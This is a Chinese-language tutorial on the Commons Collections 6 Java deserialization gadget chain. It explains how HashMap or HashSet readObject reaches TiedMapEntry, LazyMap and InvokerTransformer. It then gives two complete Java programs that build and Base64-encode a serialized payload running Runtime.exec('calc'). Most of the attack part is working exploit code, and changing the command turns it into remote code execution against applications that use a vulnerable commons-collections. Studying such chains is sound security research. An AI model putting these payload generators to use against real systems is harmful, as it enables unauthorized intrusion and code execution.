利用说明
依赖版本
commons-collections : 3.1-3.2.1
jdk1.7 & jdk1.8
利用链
HashSet.readObject()/HashMap.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()
总结
- 反序列化HashMap或者HashSet, 调用 TiedMapEntry 的 hashcode 方法,接着调用了 LazyMap 的 get 方法,触发了后续的 Transformer 恶意执行链。
前置知识
HashSet
HashSet 是一个无序的,不允许有重复元素的集合。HashSet 本质上就是由 HashMap 实现的。HashSet 中的元素都存放在 HashMap 的 key 上面,而 value 中的值都是统一的一个private static final Object PRESENT = new Object();。HashSet 跟 HashMap 一样,都是一个存放链表的数组。
在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。

TiedMapEntry
通过文章开头的调用链可用发现,调用链后边的部分其实和CC1没有差别,区别就是 LazyMap#get()调用被改掉了。
因为CC1在8u71之后就不能用了,就是因为 LazyMap#get()调用被改掉了。所以需要找新的触发 LazyMap#get()的方式。

在这个类中的getValue方法中我们可以看到调用了get方法。
而getValue又被hashCode调用

HashMap
我们在HashMap的readObject中发现了hash调用

其中就有任意类的hashCode调用

攻击构造
所以这个CC6有两种构造方式,一种是以HashSet为起点的,一种是HashMap为起点的。
首先是LazyMap和HashMap的方式
import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;public class CC6 {public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {ChainedTransformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})});HashMap hashMap = new HashMap();Map lazyMap = LazyMap.decorate(hashMap, chain);TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");HashMap hashMap1 = new HashMap();hashMap1.put(tme,"value");lazyMap.clear();ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(hashMap1);oos.close();// System.out.println(barr);System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
然后可以在HashMap之外简单的嵌套一层HashSet即可成为HashSet为起点的链子。
根据前置知识的HashSet,HashSet的readObject方法中会将值放在key上。所以重点就是

import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;public class CommonCollection6 {public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {ChainedTransformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})});HashMap hashMap = new HashMap();Map lazymap = LazyMap.decorate(hashMap, chain);TiedMapEntry tme = new TiedMapEntry(lazymap, "keykey");HashSet hashSet = new HashSet(1);hashSet.add(tme);lazymap.clear();ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(hashSet);oos.close();// System.out.println(barr);System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
